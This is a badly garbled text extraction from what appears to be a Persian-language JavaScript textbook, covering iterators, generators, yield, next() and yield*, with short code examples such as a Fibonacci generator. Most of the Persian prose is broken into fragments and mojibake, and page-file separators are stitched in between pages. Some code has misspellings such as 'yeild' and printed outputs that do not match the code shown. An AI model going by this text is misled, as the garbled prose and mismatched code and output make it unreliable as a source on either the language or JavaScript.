ز م¾وج¶ شدن مف
»
د
Õ
ب
د.
º
وع¶ها م·ر
Èß
¿ م
±»
ز
» ϳ
¾فا
º» Ï
و
ÞÁ ¶
ب
µ
وب
Á ،
¾¶ شدن آنها
Ã
ا
º Ï
و
ÞÁ ¼
ک¶
»²
، چ
Ù
هی
³·
¶ م
Ç»
ر
» ³
ر
»
¿ مو
±»
ر
³ ´²à¾
مخ
ð
¼ ¸وضی
ϳ²
ک
µ
لیس
»
ها ر
iterable
ز
» ·±
ها
³²
کارب
د:
ßÉ
·گ
ÈÁ ½
¿ ک¾ا
±» ½
ر چارچو
³
آنها
Æ
کام
ð
¸وضی
Á
¼
next
Û
ن ¸اب
³
ز
»
د با صد
Á»
، ¸ا ب¾و
³
ر
»³
iterable
یاز ب¶
Á
for...of
¶ÝÂ
ح
:
for...of
¹
ق
Ò
ح
»
´ ر
²Ì±³
ر
»
د
Ý
م
Ù
هی
»
بخو
²
گ
» ¼
هد
³ Ö
ا
ßÁ» »
وع¶ ر
Èß
ا´ م
Ô¾Á»
¸ا
ı
ا
È
ی
Å
done
¼
value
µÓ
ا
±
ر
³
µÓ
ا
±
ر
³
TypeError
ا´
äà Ù
ی
Á×
¶ ب
ÝÂ
آن ح
²
اص
É
ر¼´ ع
²
¼ ب
ϳ²
ک
ı
ا
È
ی
Å
for...of
ز
» ϳ
¾فا
º»
با
ی
É
م· ک
Á
ن
³
بو
iterable
³
¼جو
destructuring
ن
³»³ ý
ر
Æ
لی
³
¼ا:
¹»·
آر
destructuring
·ز
Æ´
·ستفا
199
͸
د
ØÉ³
================================================ FILE: HTML/202.html ================================================
ید.
É
ک
»
ید
Å µÁ²¾É±»
ر
³
ید
Á»
ی× م·¸و
Á
شدن آن
Ö
ا
ßÁ» Ï
و
ÞÁ
ز
» ·±
ها
Ñ
¼ مثا
槯
Á
Æ
لی
³ ¶
ی× ب
Á
spread
²ÌÂÈ
ز ع
» ϳ
¾فا
º»
destructuring
د
ÉÁ
ا
È
ه
:) … (
spread
¶ËÒ
م
À
ی
É
ک
ϳ
¾فا
º»
آن
²±³
ا
Ý
ز م
» Ù
هی
»
و
÷
ک¶ م
µ
´ هس
²
ن م¾÷ی
³
بو
iterable
[
¸ا
Generator
ر
»×
ب
»
ا
Õ
ق
»¼
ها
Iterator
،Ù±
ا م·شو
É
آش
Generator
Ö
و
Ô
ها با مف
iterator
· با
±
ا
É
ز آش
» ìÅ
µº» ï²ä
´ ک¶ م
»¶Â
ما مسئ
» ،
د
ɾ
آنها هس
ı
ا
È
ی
Å ¼ ϳ»³
ز
» ¶
وع
Èß
م
Ú± µ±²±
´ مد
»²
وب· ب
Ã
²
گ
»
ا
± ¼
ر
»
شو
³ ·È
د ک
Á»
· آنها م·¸و
Âû³ ´
ها
µ
حال
ð
ی
Þ
ح· ص
»²
¼ ط
µ±²±
، ک¶ مد
³
¿ م· شو
±»
Û
¸اب
Ú± ³
ا
ß±» ،
هد
³·
¶ م
Ç»
ر
»
Generator
ار´ ک¶
¹
ه
»
ر باشد، ر
»³
ا
äà ³
و
ÐÁ Ö
ا
ßÁ» ·Ó
کا
µ
ق
³
با
Ö
ا
ßÁ» Æ
قاب
yield
ید´
Â
¶ ک
ÈÂ
م·باشد ک¶ با ک
iterate
Æ
قاب
object
¶¾º
یو
Å ·Á»³²
´ بازگ
»²
ب
،·Â
ام
¹¸
م·باشد.
yield
ید´
Â
¶ ک
ÈÂ
ک
Ú± Æ
ق
»
´ حد
»
ر
»³ éÂõ» ¼ ê±²Õ¸
function
با *
generator
ƹ
ب¶ ش
Û
ب
»
¸و
ƹ
ی× ب¶ ش
Á ´³
عا
Û
ر ¸اب
³
yield
ن
³»³
ر
»²
با ق
ì
اک
Ó²±
ا
Ó ²¸Ä
ی
Å ¶¾Î
ل
» ،
د
ɾ
هس
³
و
à Û
¶ ¸اب
Á
ر بد
³
ò
حذ
ì
اک
Ó²±
ا
Ó
ز
»
ان
¹
م
» ¿±» es6
ر
³
generator
ژگ·
±¼
· شدن
Õä
،با ق
³²
م·ک
ÆÈ
ع
generator
شد.
200
²º
Generator
و
Iterator
================================================ FILE: HTML/203.html ================================================
م·باشد:
²±
ز
Ö²Ó ¶
ب
generator
Û
ب
»
¶ با ¸و
ä
ب
»
ر ر
³ ·
مثال
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ ver;
}
[object Generator
[ Ú± »²
ج
»
ز
» ìÅ ،µº» Ï
شد
ê±²Õ¸
generator
ک¶ ب¶ صورت
Û
¿ ¸اب
±»
Ù
هی
»
و
Ã
آن
³
ر مور
³ ´²¸ Æ
کام
ð
د ک¶ ¸وضی
É
¼´ م·ک
²
ی
Å
iterable
ƹ¸¼²Å
ز
» ¶
هد ک
³·
م
µÐ
بازگ
´»²
د´ ب
±
جد
Ö
و
Ô
ها مف
generator
°
ا
Ⱦ
ح
» ،
باشید
ϳ²
ک
ϳ
¾فا
º»
ruby
ا
±
python
ز
» ²
گ
» ¶¾Î
ل
» ،³»³
د.
±»¶¾
ش
»³ ³
ور
ò
ب
yield
é
ید´ جال
Â
¶ ک
ÈÂ
د ¼ با ک
ɾ
یس
Á
ا
È
ش
return
ید´
Â
¶ ک
ÈÂ
ا با ک
± ¼
د
ɺ²Á Ö
ا
ȸ» ¶
· ک¶ ب
Á
¸ا زما
Û
ب
»
¸و
µ
پ
±²¹º»¼
ر جا
³ ¶
ک
Ù
ی
Á»³·
، م
Ù±
ذر
Ì
ب
¶ÈÂ
یدن ب¶ با ک
º
ر
³
ر
»
¿ مو
±» ²
ب
ϼÍ
ع
generator
Ö²Ó ¶
ب
Û
ب
»
ما ¸و
» ،
د
Á
م·شو
»²
ج
» ،
د
ÉɹÁ ³
ور
ò
ب
Ûä
ق
»
ر
Û
´ ¸اب
»²
ج
»
ر
»
د
Ý
م
µÐ
¿ بازگ
±»
ما
» ،µ
ش
»³
د
É
ه
»
و
à ·¾Ð
ر بازگ
»
د
Ý
ی× م
Á
yield
ید´
Â
ک
´»²
ج
»
با
µÝ
ی
Ý
ر ح
³ .
د
Á
هد ما
»
و
à ²æ¾É
م
µº» ϳ»³ ý
ر
yield
· ک¶
ÂÞ
ان م
È
ر ه
³ Û
¼ ¸اب
³²
هد ک
»
خو
Á
next)( Û
¸ا ¸اب
µº» ²æ¾É
¼ ک¶ م
槯
generator
Ú± ·¾Ð
ر بازگ
»
د
Ý
م
generator
Ö²Ó ¶
ب
Û
¸اب
ک¶
Ù±
ر
»³ ²
اط
à ¶
هد، ب
³ µÐ
بازگ
iterable
ƹ¸¼²Å é
ر قال
³ »
ر
yield
¼لی¿
» ¼ Ù
ی
É
· ک
Á»
و
û²Ó »
آن ر
Ö
ا
Á ¶
ب
²Ì±³ ·
ژگ
±¼ Ú± ¼
value
Ö
ا
Á ¶
ژگ· ب
±¼ Ú± ´»
ر
»³ ·¾Ð
ر بازگ
»
د
Ý
م
µ
س
±
م·با
ƹ¸¼²Å ¿±»
ر
³
هد.
³·
م
²ÎÃ
iterate
یدن
º
ر
Ö
ا
ȸ» ¶
ب
µ
ی
Õ
ز ¼ض
» ¶
باشد ک
done
201
͸
د
ØÉ³
================================================ FILE: HTML/204.html ================================================
³
ر مور
³ Ñ
´ مثا
»²
هد، ب
³·
م
µÐ
بازگ
iterate
Æ
قاب
object
Ú±
generator
Û
´ ¸اب
»²
ج
» ¶
ک
Ù
گف¾ی
با
Ñ
مثا
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ (ver +
1
);
}
var
book = jsBook(
1
);
console.log(book);
// jsBook {<suspended>}
،µº» Ï
ه· شد
³
ر
»
د
Ý
م
generator
Û
¸اب
Ú± ·Á»
و
û²Ó
ک¶ با
book
²
ک¶ م¾÷ی
Ù
ی
É
م·ک
Ï
اهد
Ð
م
generator
Û
· ¸اب
ÉÕ± ¶¾¹Á ¿±» ¼ µº» ¶¾
ش
»³ ¶ÌÁ ³
و
Ã
ر
³ ëÂÕ
م
ƹ
ب¶ ش
»
ر
Û
آن ¸اب
generator
د.
É
¾· کار م·ک
º
ر
³ ¶
ب
Ï
¾¶ شد
Ã
ا
º
generator
Û
ز ¸اب
»
yield
¼لی¿
»
ر
»
د
Ý
¼ م
ϳ
ز
»
صد
»
ر
next)( Û
¸اب
book
²
ر¼´ م¾÷ی
²
ب
Ù
ی
Á»
م·¸و
Ñ
حا
:Ù±
آ¼ر
µº
بد
»
ر
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ (ver +
1
);
}
var
book = jsBook(
1
);
console
.log(book.next());
// {value: “first version: 1”, done: False}
ر
³
yield
¼لی¿
»
ر´ ک¶ با
»
د
Ý
، م
book
²
ر¼´ م¾÷ی
²
ب
next
Û
¼لی¿ ¸اب
» ´»²
ج
»
ک¶ با
Ù
ی
É
م·ک
Ï
اهد
Ð
م
ژگ·
±¼
ور
äÉ
ی
È
¼ ه
µº» ¶¾Ó²
ر گ
»²
ق
value
ژگ·
±¼
ر
³ ،Ù±³
بو
ϳ»³ µÐ
بازگ
³
و
Ã
generator
Û
¸اب
»³
د
ß
م
Ù
ی
Á»
· م·¸و
ÉÕ± ،
م·باشد
false
هد
³·
م
²ÎÃ
iterate
Æ
ح
»²
یدن م
º
ر
Ö
ا
ȸ» ¶
ز ب
» ¶
ک
done
Ñ
ر مثا
³ Ï
شد
²
ک
è Ö²Ó ¶
ب
»
¿کار ر
±»
هید
³ Ï
جاز
» ìÅ .Ù
ی
É
ک
»²
ج
»
book
²
ر¼´ م¾÷ی
²
ب
»
ر
next
Û
¸اب
هی
³·
م
Ö
ا
ßÁ»
د
Õ
ب
202
²º
Generator
و
Iterator
================================================ FILE: HTML/205.html ================================================
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ (ver +
1
);
}
var
book = jsBook(
1
);
console
.log(book.next());
// {value: “first version: 1”, done: False}
console
.log(book.next());
// {value: “version: 2”, done: false}
console
.log(book.next());
// {value: undefined, done: true}
Ï
شد
yield
²±³
ا
Ý
ن م
³»³ µÐ
ب¶ بازگ
²ßÉ
، ک¶ م
book
²
ر¼´ م¾÷ی
²
ب
next
´ م¾د
»²
ج
»
¶ بار
º
ز
» ìÅ
.Ù±
م·شو
iteration
یدن
º
ر
Ö
ا
ȸ» ¶
¼ م¾وج¶ ب
³
م·شو
true
با
²
ب
»²
ب
done
ژگ·
±¼
ر
»
د
Ý
، م
³
م·شو
Û
یدن کدها´ ¸اب
º
ر
Ö
ا
ȸ» ¶
· ب
ÉÕ
ب¶ م
done
ژگ·
±¼
شدن
true
ان
È
ا ه
±
iteration
یدن
º
ر
Ö
ا
ȸ» ¶
ب
م·باشد.
return
¼لی¿
»
ج¶ شدن با
»
ا مو
±
yield
¿±²Ã
¸ا آ
»
ب¾د
»
ا
Ⱦ
· ح
ÉÕ± ،Ù
ی
É
م·ک
ϳ
¾فا
º»
book
²
ز م¾÷ی
»
next
Û
´ ¸اب
»²
ج
»
بار
²
´ ه
»²
ید ب
É
ک
µ
ق
³ ²
گ
»
Û
ر¼´ آن، ¸اب
²
ب
Ù
ی
Á»
، ¸ا ب¾و
Ù
هی
³ À
ی
à
¸خ
²
م¾÷ی
Ú± ¶
¼ ب
ϳ²
ک
»²
ج
» »
ر
generator
Û
¸اب
µ
س
±
م·با
¾ا
±
ا
ÔÁ ،Ù
دهی
Á Ö
ا
ßÁ» »
¿ کار ر
±» ²
گ
»
ما
» ،Ù
ی
É
ک
µÓ
ا
±
ر
³ »
ر
³
و
à ²æÁ ³
مور
²±³
ا
Ý
¼ م
Ù
ی
É
ک
»²
ج
» »
ر
next
.Ù±¼²
ب
Ä
ی
Å
yield
¼لی¿
»
¸ا
Ù
ی
Á»
م·¸و
ید:
É
¸وج¶ ک
²±
ز
Ñ
ب¶ مثا
(
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ (ver +
1
);
})(
1
).next();
// {value: “first version: 1”, done: False}
»
ز آن ر
»
next
¼لی¿
» ¼ Ù
هی
³·
ر م
»²
ق
IIFE
ØÍ
ب
Ú± ÆÃ»³
ر
³ ¼
generator
Ö²Ó ¶
ب
»
ر
jsBook
Û
¸اب
ی×
Á
¼ ما
µ
یس
Á
generator
²Ì±³ ·¾Ð
ر بازگ
»
د
Ý
چون م
next
¼لی¿
» ´»²
ج
»
ز
» ìÅ ،Ù
ی
É
م·ک
»²
ج
»
203
͸
د
ØÉ³
================================================ FILE: HTML/206.html ================================================
ش¾¶
»³ ·º²¾º³ ²±³
ا
Ý
· م
Ý
ب¶ ماب
Ù
ی
Á»
·¸و
ÈÁ ،Ù±»Ï³²¹Á ´
ر
»
د
ÔÌÁ ´²
ر م¾÷ی
³ »
ر
Û
´ ¸اب
»²
ج
» ¶ß
¾ی
Á
ش
»³
هد
»
و
Ã
ا
äà ²±
ز
ƹ
´ کد´ ب¶ ش
»²
ج
» ¼ Ù
باشی
(
function
*
jsBook
(
ver
){
yield
“first version: “
+ ver;
yield
“version: “
+ (ver +
1
);
})(
1
).next().next();
// ERROR
²
ز آن م¾÷ی
» ¼ ³²
ر´ ک
»
د
ÔÌÁ ²
م¾÷ی
Ú±
ر
³ »
ر
generator
Û
´ ¸اب
»²
ج
» ¶ß
¾ی
Á Ï
ر
»
و
È
ه
µº» ²¾Ô
ب
ìÅ
و
ÈÁ ϳ
¾فا
º» ²æÁ ³
مور
²±³
ا
Ý
ن م
³
آ¼ر
µº
´ بد
»²
ب
9888 ¼
next
Û
· ¸اب
Á»
و
û²Ó ´»²
ب
[
generator
د¼
return
و
yield
ز
² µ
اد
Ö¿
س
²
ϳ
¾فا
º»
×مان
È
ب¶ صورت ه
return
¼
yield
ز
»
یاز باشد
Á ³
و
Ã
generator
Û
ر ¸اب
³ ·Â
لی
³ ²
ب¶ ه
²
گ
»
ب¶
²Ì±³
return
¼لی¿
»
ام¶ با
Á²
ج¶ شدن ب
»
ز مو
» ìÅ ¶
ک
Ù
ی
É
¾¶ ¸وج¶ ک
¹Á ¿±» ¶
ب
µ
س
±
، م·با
³
شو
´ مثا
»²
، ب
µ
ش
»³
هد
»
خو
Á ·Ô
¸وج
Ï
وش¾¶ شد
Á ´
ها
yield
· کدها ¼
Ý
ماب
function
*
jsBook
(
ver
){
var
x =
yield
“first version: “
+ ver;
return
“returned, x = “
+ x;
// will not run
yield
“version: “
+ (ver +
1
);
}
var
book = jsBook(
1
);
console
.log(book.next());
// {value: “first version: 1”,
done: false}
console
.log(book.next());
// {value: “returned, x = unde-
fined”, done: true}
ر
»³ ¶¾¹Á ¿±
د
É
چ
°
¶ کد با
¹¸
±
ک¶ ب¶
µº» done: true ´»
ر
»³ ·¾Ð
ر بازگ
»
د
Ý
¼ م
µº» Ï
د
ÐÁ »²
ج
»
return
ز
»
د
Õ
ب
yield
کد
204
²º
Generator
و
Iterator
================================================ FILE: HTML/207.html ================================================
.槯
ر
»²¹¸
یدن
º
ر
Ö
ا
ȸ» ¶
· ب
ÉÕ
م
±
Ï
شد
iteration
یدن
º
ر
Ö
ا
ȸ» ¶
ب
²ßÉ
ک¶ م
next)( Û
¿ ¸اب
±²Ã
ر آ
³ ·¾Ð
بازگ
value
ر
»
د
Ý
م
.µº» Û
ز ¸اب
» Ï
شد
return
ر
»
د
Ý
، م
槯
±
ر´
»
د
Ý
م
å
د´ چون هی
Õ
ر ب
»²¹¸
ر
³ ،Ù
هی
³ Ë
ا
à¾Ã» ´²
ب¶ م¾÷ی
»
ر
yield
ز
» ·¾Ð
ر بازگ
»
د
Ý
م
²
گ
»
ن
»
و
É
ب¶ ع
»
ر´ ر
»
د
Ý
م
²
گ
»
ما
» ،³
هد بو
»
و
à undefined ²æÁ ³
مور
²
، م¾÷ی
Ù±» ϳ»
د
Á í
ا
Å
next
Û
ب¶ ¸اب
»
ر
.³²
م·ک
ø²Ó °
¼ج· کد با
²Ã ،Ù±³»
مید
Ö¼³
next
Û
ب¶ ¸اب
²¾
م
»
ار
Å
´ مثا
»²
ب
function
*
jsBook
(
ver
){
var
x =
yield
“first version: “
+ ver;
return
“returned, x = “
+ x;
// will not run
yield
“version: “
+ (ver +
1
);
}
var
book = jsBook(
1
);
console
.log(book.next());
// {value: “first version: 1”, done: False}
console
.log(book.next(
4
));
// {value: “returned, x = 4”, done: true}
¶ß
¾ی
Á
ن
»
و
É
· ب¶ ع
Á»
و
û²Ó ¿
¼می
³
ر
³
next
Û
ب¶ ¸اب
4
ر
»
د
Ý
ن م
³»³ í
ا
Å
ک¶ با
Ù
ی
É
م·ک
Ï
اهد
Ð
م
return
با
ì
پ
º .µº» ¶¾Ó²
ر گ
»²
ق
x
²
ر م¾÷ی
³ ¼ Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³
شدن
yield
¼لی¿
»
ز
» ·¾Ð
بازگ
هی
³·
م
Ä
وش
Å Æ
د´ کام
Õ
ب
Ä
ر بخ
³ »
ر
³
¿ مور
±» .³³²
شدن باز م·گ
[
next
¹¿
ه م
³
م¿ر
²¼
د¾ پا
²
د
Õ
پا
، ک¶
槯
next
Û
ر ب¶ ¸اب
»
د
Ý
ن م
³»³ í
ا
Å ´»¶Ó²
ح
generator
Û
ب
»
¸و
µÃ
ا
º ´
¾¶ها
¹Á
ز
» ·¹±
ن
»
و
É
ب¶ ع
Ù
ی
Á»
، م·¸و
next
Û
ر ب¶ ¸اب
»
د
Ý
ن م
³»³ í
ا
Å
هد. با
³ ²
¸÷یی
»
ر
Û
¸اب
³²
کارک
Ï
و
ÞÁ
ز آن
»
د
Á»
م·¸و
205
͸
د
ØÉ³
================================================ FILE: HTML/208.html ================================================
ید:
É
¸وج¶ ک
Ë
و
àà ¿±»
ر
³ ²±
ز
Ñ
. ب¶ مثا
Ù
ی
É
ک
ϳ
¾فا
º» ·ÂÎ
ق
yield
ر
³ ·¾Ð
ر بازگ
»
د
Ý
م
function
*
advancedGenerator
(
input
){
console
.log(input);
const
j =
2
* (
yield
(input *
10
));
console
.log(j);
const
k =
yield
( (
5
* j) /
4
);
console
.log(k);
return
(input + j + k);
}
var
gnFunction = advancedGenerator(
10
);
gnFunction.next(
5
);
// {value: 100 , done: false } 10
gnFunction.next(
20
);
// {value: 50 , done: false } 40
gnFunction.next(
30
);
// {value: 80 , done: false } 10
هی
³·
م
ï²
ش
²¾
¸ی
²º
ب¶ صورت
»
ر
³
د مور
É
´ م·باشد. چ
³
ا
±
ات ز
¹Á ´»
ر
»³ ¶
ک
°
¶ کد با
¹¸ ð
ر ¸وضی
³
±
،³
م·شو
»²
ج
» Û
¼ ¸اب
ϳ²
ه· ک
³
ر
»
د
Ý
م
10
ر
»
د
Ý
با م
»
ر
input
آرگومان
generator
Û
· ¸اب
Á»
و
û²Ó
با
.³²
هد ک
»
خو
Á »²
ج
» »
ر
console.log
ارت
Î
، ع
Û
ن ¸اب
³
بو
generator
Æ
لی
³¶
ب
»²
ج
» ¿±»
±
yield
¼لی¿
» ،
gnFunction
²
ر¼´ م¾÷ی
²
ب
next
Û
· شدن ¸اب
Á»
و
û²Ó
با
iteration
¼لی¿
»
ر
³
ر
»
د
Ý
م
input *
10
با
yield
¼ µº» 10
با
²
ب
»²
ب
input
، چون
³
م·شو
»²
ج
» ²æÁ ³
مور
generator
Û
¸اب
ارت
Î
ع
ì
پ
º ،³
م·شو
ϳ»³ µÐ
بازگ
²±
ز
object
¼ ³
هد بو
»
و
à 100 ²
ب
»²
ب
value
ìÅ ،
د
Á»³²
بازم·گ
م·شو
10
ر
»
د
Ý
شدن م
ö
ب¶ چا
²ßÉ
ک¶ م
³
م·شو
»²
ج
» Ѽ»
console.log
{value:
100
, done:
false
}
±
ر
³ ·
، ¼ل
µº» Ï
شد
ϳ»³ í
ا
ŠѼ»
next
Û
ب¶ ¸اب
5
ر
»
د
Ý
ک¶ م
µº» ¿±» »²
ج
» ¿±» ·º
ا
º» ¶¾¹Á
³
و
ÐÁ ϳ»³ í
ا
Å Û
ر ب¶ ¸اب
»
د
Ý
¿ م
±» ¶
ر صور¸· ک
³ ·¾
، ح
³
ر
»
د
Á ´²
ی
â
¸ا
å
هی
iteration
·ÂÕÓ ´»²
ج
»
Ù±
ر
»
د
Á
yield
ÆÎ
ز ق
» ¼ ϳ
بو
yield
¼لی¿
» ¶
ک
»²
، چ
³
هد بو
»
و
à ÆÎ
ق
µ
¼ج·، حال
²Ã
ان
È
¼ج· ه
²Ã ×
ی
Á
.³²
ر گی
»²
آن ق
ѳ
ا
Õ
ر م
»
د
Ý
¿ م
±» ¶
ک
±
Ï
شد
ϳ»³ í
ا
Å 20
ر
»
د
Ý
م
next
چون ب¶ م¾د
generator
Û
ر¼´ ¸اب
²
ب
iteration
¼می¿
³
ر
³
´ کد با
»²
ج
» ¼ µº» Ï
شد
20 ѳ
ا
Õ
م
yield
´»²
· ب
ÂÎ
ق
iteration
¶ß
¾ی
Á ¶
ک
µº» ¿±»
د
ÉÁ
، ما
槯
د.
É
م·ک
»
ید
Å ¶
م
»³»
ر
»
د
Ý
¿ م
±»
206
²º
Generator
و
Iterator
================================================ FILE: HTML/209.html ================================================
:
yield
Ó±ÑÅ·
´»²
ب
²±
¶ کد ز
¹¸ ³
¼جو
Æ
لی
³ ¶
ب
const
j =
2
* (
yield
(input *
10
));
³
م·شو
40
با
²
ب
»²
ب
j
µ
اب
â ·ÂÎ
ق
iteration
ز
» yield)input * 10( ´
ب¶ جا
20
ر
»
د
Ý
¾¿ م
Ó²
ر گ
»²
با ق
:)³²
ر م·گی
»²
ق
yield)... (
ارت
Î
ع
Æ
ا´ ک
ß
ب
Ï
شد
ϳ»³ í
ا
Å
ر
»
د
Ý
ک¶ م
³
شو
µ
ق
³(
const
j =
2
* (20);
// 40
50
با
²
ب
»²
ب
value
د ¼
Á»³²
بازم·گ
»
ر
4
/
40
*
5
ر
»²¹¸ ¿±» ìÅ ³
م·شو
40
با
²
ب
»²
ب
j
µ
اب
â
چون
م· شو
±
ر
³
ر
»
د
Ý
¿ م
±» ،
next
Û
ب¶ ¸اب
30
ر
»
د
Ý
شدن م
ϳ»³ í
ا
Å
، با
»²
ج
» ¿
¼می
³
د
ÉÁ
ا
È
، ه
Ö
و
º ´»²
ج
»
ر
³
یدن
º
¼ با ر
Ï
شد
30
با
²
ب
»²
ب
k
µ
اب
â ìÅ ،µ
هس
k
µ
اب
â
ان
È
ک¶ ه
³²
ی
Ì
ر می
»²
· ق
ÂÎ
ق
yield
Æ
حاص
د.
º
م·ر
Ö
ا
ȸ» ¶
ب
»²
ج
» ¼ Ï
¶ شد
κ
ا
Þ
م
input + j + k
ر
»
د
Ý
م
return
ب¶
»²
ج
»
µ
س
±
´ ر
»²
ب
next
Û
´ ¸اب
³¼
ر ¼ر
»
د
Ý
ز م
» ،³»³ Ù
هی
»
و
à ¶Ç»
ر
» ·
اچ
Á
و
Î
ی
Ó Û
´ ¸اب
»²
´ ک¶ ب
²Ì±³ Ñ
ر مثا
³
:Ù±²
م·گی
ϲÔ
ب
Û
¸اب
³
د
ß
م
ç¼²
ن ¼ ش
³²
ک
// MDN
function
*
fibonacci
() {
var
fn1 =
0 ,
fn2 =
1
;
while
(
true
) {
var
current = fn1;
fn1 = fn2;
fn2 = current + fn1;
var
reset =
yield
current;
if
(reset) {
fn1 =
0
;
fn2 =
1
;
}
}
}
207
͸
د
ØÉ³
================================================ FILE: HTML/21.html ================================================
بخش اول
یه
°
سکریپت و مباحث
±
جاو
² ³
آشنای
ا¶½ا¼ بخش:
کد و برنامه
±²³
مف
س´ریپت
µ
آش¸ای· با زبا¶ جاو
¹µº
ا
»
و ع
¹µº²¼
¿ری¾ ½س
À
و خروج· آ¶
Á½
و
º
برنامه و و
Áµ
جر
µ ²
نح
ا
Ã
لگر
Ä
آش¸ای· با ع
کد
Á
ا
Ã
گر
Å
ی
µ
آش¸ای· با ویر
کد
º½ Áºµ
ذ
Æ
کام¸ت
²
آش¸ای· با نح
کد
Á
ا
ÃDz
و بل
¹
آش¸ای· با قط¿ا
================================================ FILE: HTML/210.html ================================================
var
sequence = fibonacci();
console
.log(sequence.next().value);
// 0
console
.log(sequence.next().value);
// 1
console
.log(sequence.next().value);
// 1
console
.log(sequence.next().value);
// 2
console
.log(sequence.next().value);
// 3
console
.log(sequence.next().value);
// 5
console
.log(sequence.next().value);
// 8
console
.log(sequence.next(
true
).value);
// 0
console
.log(sequence.next().value);
// 1
console
.log(sequence.next().value);
// 1
console
.log(sequence.next().value);
// 2
¼ Ï
ر شد
»²
ق
²
ب
fibonacci Û
ر ¸اب
³
reset
ʲ
ش
next
Û
ب¶ ¸اب
true
ر
»
د
Ý
ن م
³»³ í
ا
Å
با
°
با
Û
ر ¸اب
³
هد.
³·
م
µÐ
بازگ
»
ر
²±³
ا
Ý
م
»
ب¾د
»
ز
» Û
¸اب
[
generator
د¼
generator
ز
² µ
اد
Ö¿
س
²
،Ù
ی
É
· ک
Á»³²
بازگ
²Ì±³
generator
Ú± ÆÃ»³
ر
³ »
ر
generator
Û
¸اب
Ú± Ù
ی
Á»
¶ ب¾و
¹É±» ´»²
ب
ϳ
¾فا
º» »
ر
³
و
à ²æÁ ³
مور
generator
Û
¼ ¸اب
Ù
ی
É
ک
ϳ
¾فا
º»
yield*
ز
»
yield
ب¶ جا´
µ
س
±
م·با
´ مثا
»²
، ب
Ù
ی
É
ک
function
*
generatorOne
() {
yield
3
;
}
function
*
generatorTwo
() {
yield
* generatorOne();
}
const
iterator = generatorTwo();
console
.log(iterator.next().value);
// output value: 3
208
²º
Generator
و
Iterator
================================================ FILE: HTML/211.html ================================================
¿¹È
، م
µº» Ï
شد
ö
چا
Ö¼³ Û
´ ¸اب
»²
ج
»
ر
³ Ѽ»
generator
Û
´ ¸اب
»²
ج
» ¶ß
¾ی
Á ¶
ک
Ù
ی
É
م·ک
Ï
اهد
Ð
م
ان
¹
م
» ¿±» ¶
ک
Ù
ی
É
ک
ϳ
¾فا
º» ²Ì±³ ·Õ
ز ¸اب
»
شدن
yield
ز
» ¶Ã²
چ
Ú±
ر
³ Ù
ش¾¶ باشی
»³
یاز
Á ¶
ک
³
بو
yield
Ù
ی
Á»
م·¸و
°
کد با
³
ر مور
³ Ñ
´ مثا
»²
م·باشد، ب
Ù
ه
»²Ó ´³
عا
yield
· با
Î
کی
²¸
ی× ب¶ صورت
Á
ش¾¶ باشی
»³
yield*
ز
»
د
Õ
ا ب
± ¼ ÆÎ
ق
»
ر ر
»
د
Ý
´ م
³
عا
function
*
generatorOne
() {
yield
3
;
// return “finished”;
yeild
4
;
}
function
*
generatorTwo
() {
yield
1
;
yield
2
;
yield
* generatorOne();
yeild
6
;
}
const
iterator = generatorTwo();
console
.log(iterator.next());
// {value: 1 , done: false}
console
.log(iterator.next());
// {value: 2 , done: false}
console
.log(iterator.next());
// {value: 3 , done: false}
console
.log(iterator.next());
// {value: 4 , done: false}
console
.log(iterator.next());
// {value: 5 , done: false}
console
.log(iterator.next());
// {value: 6 , done: false}
console
.log(iterator.next());
// {value: undefined , done:
true}
:µº» µ
ی
È
ه
» ×Ç
¾¶ حا
¹Á
د
É
چ
ø
و
Ó
کد
³
ر مور
³
±
.³²
ک
ϳ
¾فا
º» ،Ï»
لخو
³ ³»
د
Õ¸ ¶
´ ب
³
عا
yield
ز
»
ن
»
ز آن م·¸و
»
د
Õ
ا ب
± ¼
yield*
ز
» ÆÎ
ق
±
ı
ا
È
ی
Å ·ÂÕÓ
iterate
آن با
ÆÃ»³ ´
ها
yield
Ö
ا
ȸ
yield*
ب¶ صورت
Û
¸اب
Ú±
شدن
»²
ج
»
با
د.
É
باش
Û
¿ ¸اب
±» ¶Á
ر بد
³
آن کدها
Ö
ا
ȸ ¶
ک
µº» ¿±»
د
ÉÁ
د شد ¼ ما
É
ه
»
و
Ã
±
Ï
شد
ϳ
ز
»
صد
Û
¶ ¸اب
Á ،³
هد بو
»
و
Ã
true
·Â
ص
» Û
ها´ ¸اب
yield
Ö
ا
ȸ»
ز
»
د
Õ
ب
done
ر
»
د
Ý
م
209
͸
د
ØÉ³
================================================ FILE: HTML/212.html ================================================
.·Âû³
±
،Ù
ی
É
ک
Ò
ار
Ã
ن
³
بو
µÉ
کام
µ
ز حال
» »
ر
return
ب¶
Ê
بو
²
م
µÉ
کام
generatorOne
Û
ر ¸اب
³ ²
گ
»
ید.
º
م·ر
Ö
ا
ȸ» ¶
ب
iteration
´»²
ج
»
next
Û
· ¸اب
Á»
و
û²Ó ¿
ارمی
Ô
ر چ
³
ن
»
¼ م·¸و
µ
یس
Á ´
ار
Î
ج
» ²Ì±³
generator
Û
¸اب
Ú±
ز
» ϳ
¾فا
º»
ل×¼ما
yield*
ز
» ϳ
¾فا
º» ´»²
ب
²±
ز
ƹ
¶ ب¶ ش
±»
آر
Ú± ´»²
ب
»
ر
yeild*
ن
»
م·¸و
Ñ
´ مثا
»²
، ب
³²
ک
ϳ
¾فا
º»
iterable
وع¶
Èß
م
Ú±
ز
»
وش
Á
function
*
generatorTwo
() {
yield
1
;
yield
2
;
yield
* [
3
,
4
,
5
];
yeild
6
;
}
· م·باشد.
ÂÎ
ق
Ñ
د مثا
ÉÁ
ا
È
ی× ه
Á ø
و
Ó
´ کد
»²
ج
» ·
¼ج
²Ã
yield*
ارت
Î
ع
Ñ
´ مثا
»²
، ب
³²
ی× ب¶ کار ب
Á ²Ì±³
iterable
وع¶ها´
Èß
´ م
»²
ن ب
»
م·¸و
»
ر
Ñ
ی¿ مثا
È
ه
Ù
¼ … ه
set
¼
map
´»²
ب
é
¸ی
²¸ ¿
ی
È
، ب¶ ه
³
هد بو
»
و
Ã
yield
´»²
ج
» 5
با
²
ب
»²
" ب
Hello
